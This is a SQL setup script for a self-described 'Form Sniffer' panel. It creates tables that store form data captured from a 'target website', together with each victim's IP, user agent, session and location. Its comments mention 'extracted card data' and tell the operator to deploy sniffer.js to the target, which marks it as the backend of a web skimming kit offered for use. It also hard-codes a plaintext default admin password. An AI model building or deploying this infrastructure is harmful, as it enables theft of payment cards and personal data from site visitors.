-- ============================================================================
-- FORM SNIFFER DATABASE - UNIVERSAL VERSION
-- Works on: Shared Hosting, VPS, Localhost, cPanel, DirectAdmin, etc.
-- ============================================================================
-- INSTRUCTIONS:
-- 1. Create a database in cPanel/phpMyAdmin (e.g., mikelodo_db)
-- 2. Select that database
-- 3. Import this SQL file
-- 4. Update .env file with your database name, username, password
-- ============================================================================

-- ============================================================================
-- TABLE: form_submissions
-- Description: Stores all captured form data
-- ============================================================================
CREATE TABLE form_submissions (
    id INT AUTO_INCREMENT PRIMARY KEY,
    page_url VARCHAR(1000) NOT NULL,
    form_data JSON NOT NULL,
    timestamp VARCHAR(50),
    ip_address VARCHAR(45) NOT NULL,
    user_agent TEXT,
    referrer VARCHAR(1000),
    form_id VARCHAR(200),
    form_action VARCHAR(1000),
    session_id VARCHAR(100),
    country VARCHAR(100),
    city VARCHAR(100),
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    
    INDEX idx_created_at (created_at),
    INDEX idx_ip_address (ip_address),
    INDEX idx_page_url (page_url(191)),
    INDEX idx_country (country),
    INDEX idx_session_id (session_id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- ============================================================================
-- TABLE: users
-- Description: Admin users for authentication
-- ============================================================================
CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50) NOT NULL UNIQUE,
    password VARCHAR(255) NOT NULL,
    email VARCHAR(100),
    first_name VARCHAR(50),
    last_name VARCHAR(50),
    bio TEXT,
    role VARCHAR(20) DEFAULT 'admin',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    last_login TIMESTAMP NULL,
    
    INDEX idx_username (username),
    INDEX idx_email (email)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- Default admin user (username: admin, password: Kontolodon123@)
-- CHANGE THIS PASSWORD AFTER FIRST LOGIN!
INSERT INTO users (username, password, email, role) VALUES 
('admin', '$2y$10$QupuOffI9tWrJOltUu4EP.2/bYJT5vjNSECuxeews/.6DbxxPm5E2', 'admin@localhost.com', 'admin');

-- ============================================================================
-- TABLE: user_sessions
-- Description: Tracks user login sessions
-- ============================================================================
CREATE TABLE user_sessions (
    id INT AUTO_INCREMENT PRIMARY KEY,
    user_id INT NOT NULL,
    session_token VARCHAR(100) NOT NULL,
    ip_address VARCHAR(45),
    user_agent TEXT,
    expires_at TIMESTAMP NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    
    INDEX idx_session_token (session_token),
    INDEX idx_user_id (user_id),
    INDEX idx_expires_at (expires_at),
    
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- ============================================================================
-- TABLE: rate_limits
-- Description: Rate limiting for API endpoints
-- ============================================================================
CREATE TABLE rate_limits (
    id INT AUTO_INCREMENT PRIMARY KEY,
    ip VARCHAR(45) NOT NULL,
    hour VARCHAR(20) NOT NULL,
    requests INT DEFAULT 1,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    
    UNIQUE KEY unique_ip_hour (ip, hour),
    INDEX idx_hour (hour)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- ============================================================================
-- TABLE: activity_logs
-- Description: Logs admin actions and system events
-- ============================================================================
CREATE TABLE activity_logs (
    id INT AUTO_INCREMENT PRIMARY KEY,
    user_id INT,
    action VARCHAR(100) NOT NULL,
    details TEXT,
    ip_address VARCHAR(45),
    user_agent TEXT,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    
    INDEX idx_user_id (user_id),
    INDEX idx_action (action),
    INDEX idx_created_at (created_at),
    
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- ============================================================================
-- TABLE: exports
-- Description: Tracks data exports
-- ============================================================================
CREATE TABLE exports (
    id INT AUTO_INCREMENT PRIMARY KEY,
    user_id INT,
    filename VARCHAR(255) NOT NULL,
    format VARCHAR(20) NOT NULL,
    record_count INT DEFAULT 0,
    file_size INT DEFAULT 0,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    
    INDEX idx_user_id (user_id),
    INDEX idx_created_at (created_at),
    
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- ============================================================================
-- VIEWS FOR EASIER DATA ACCESS
-- ============================================================================

-- View: Latest submissions with extracted card data
DROP VIEW IF EXISTS v_latest_submissions;


-- View: Daily statistics
DROP VIEW IF EXISTS v_daily_stats;
CREATE VIEW v_daily_stats AS
SELECT 
    DATE(created_at) as date,
    COUNT(*) as total_submissions,
    COUNT(DISTINCT ip_address) as unique_ips,
    COUNT(DISTINCT page_url) as unique_pages,
    COUNT(DISTINCT country) as unique_countries
FROM form_submissions
GROUP BY DATE(created_at)
ORDER BY date DESC;

-- ============================================================================
-- STORED PROCEDURES FOR COMMON OPERATIONS
-- ============================================================================

-- Procedure: Clean old data
DROP PROCEDURE IF EXISTS sp_cleanup_old_data;
DELIMITER //
CREATE PROCEDURE sp_cleanup_old_data(IN days_to_keep INT)
BEGIN
    -- Delete old submissions
    DELETE FROM form_submissions 
    WHERE created_at < DATE_SUB(NOW(), INTERVAL days_to_keep DAY);
    
    -- Delete old rate limits
    DELETE FROM rate_limits 
    WHERE created_at < DATE_SUB(NOW(), INTERVAL 7 DAY);
    
    -- Delete old activity logs
    DELETE FROM activity_logs 
    WHERE created_at < DATE_SUB(NOW(), INTERVAL 90 DAY);
    
    -- Delete expired sessions
    DELETE FROM user_sessions 
    WHERE expires_at < NOW();
    
    SELECT ROW_COUNT() as deleted_records;
END //
DELIMITER ;

-- Procedure: Get submission statistics
DROP PROCEDURE IF EXISTS sp_get_statistics;
DELIMITER //
CREATE PROCEDURE sp_get_statistics()
BEGIN
    SELECT 
        (SELECT COUNT(*) FROM form_submissions WHERE DATE(created_at) = CURDATE()) as today_count,
        (SELECT COUNT(*) FROM form_submissions WHERE created_at >= DATE_SUB(NOW(), INTERVAL 7 DAY)) as week_count,
        (SELECT COUNT(*) FROM form_submissions WHERE created_at >= DATE_SUB(NOW(), INTERVAL 30 DAY)) as month_count,
        (SELECT COUNT(DISTINCT ip_address) FROM form_submissions WHERE created_at >= DATE_SUB(NOW(), INTERVAL 30 DAY)) as unique_ips,
        (SELECT COUNT(DISTINCT page_url) FROM form_submissions WHERE created_at >= DATE_SUB(NOW(), INTERVAL 30 DAY)) as unique_pages,
        (SELECT COUNT(*) FROM form_submissions) as total_count;
END //
DELIMITER ;

-- ============================================================================
-- ADDITIONAL INDEXES FOR PERFORMANCE
-- ============================================================================

-- Composite indexes for common queries
ALTER TABLE form_submissions 
    ADD INDEX idx_date_country (created_at, country),
    ADD INDEX idx_date_ip (created_at, ip_address);

-- ============================================================================
-- TRIGGERS FOR AUTOMATION
-- ============================================================================

-- Trigger: Log new submissions (optional - currently disabled)
-- Uncomment and modify if you need automatic logging
/*
DROP TRIGGER IF EXISTS tr_log_new_submission;
DELIMITER //
CREATE TRIGGER tr_log_new_submission
AFTER INSERT ON form_submissions
FOR EACH ROW
BEGIN
    -- Add custom logic here
    -- Example: INSERT INTO activity_logs (action, details) VALUES ('new_submission', NEW.id);
END //
DELIMITER ;
*/

-- ============================================================================
-- SETUP COMPLETE
-- ============================================================================

SELECT 'Database tables created successfully!' as Status;
SELECT 'Default Login → Username: admin | Password: Kontolodon123@' as Credentials;
SELECT 'IMPORTANT: Change password after first login!' as Warning;

-- ============================================================================
-- NEXT STEPS:
-- 1. Update your .env file with database credentials
-- 2. Access login.php in your browser
-- 3. Login with admin / Kontolodon123@
-- 4. Change password immediately in Profile settings
-- 5. Deploy sniffer.js to your target website
-- ============================================================================
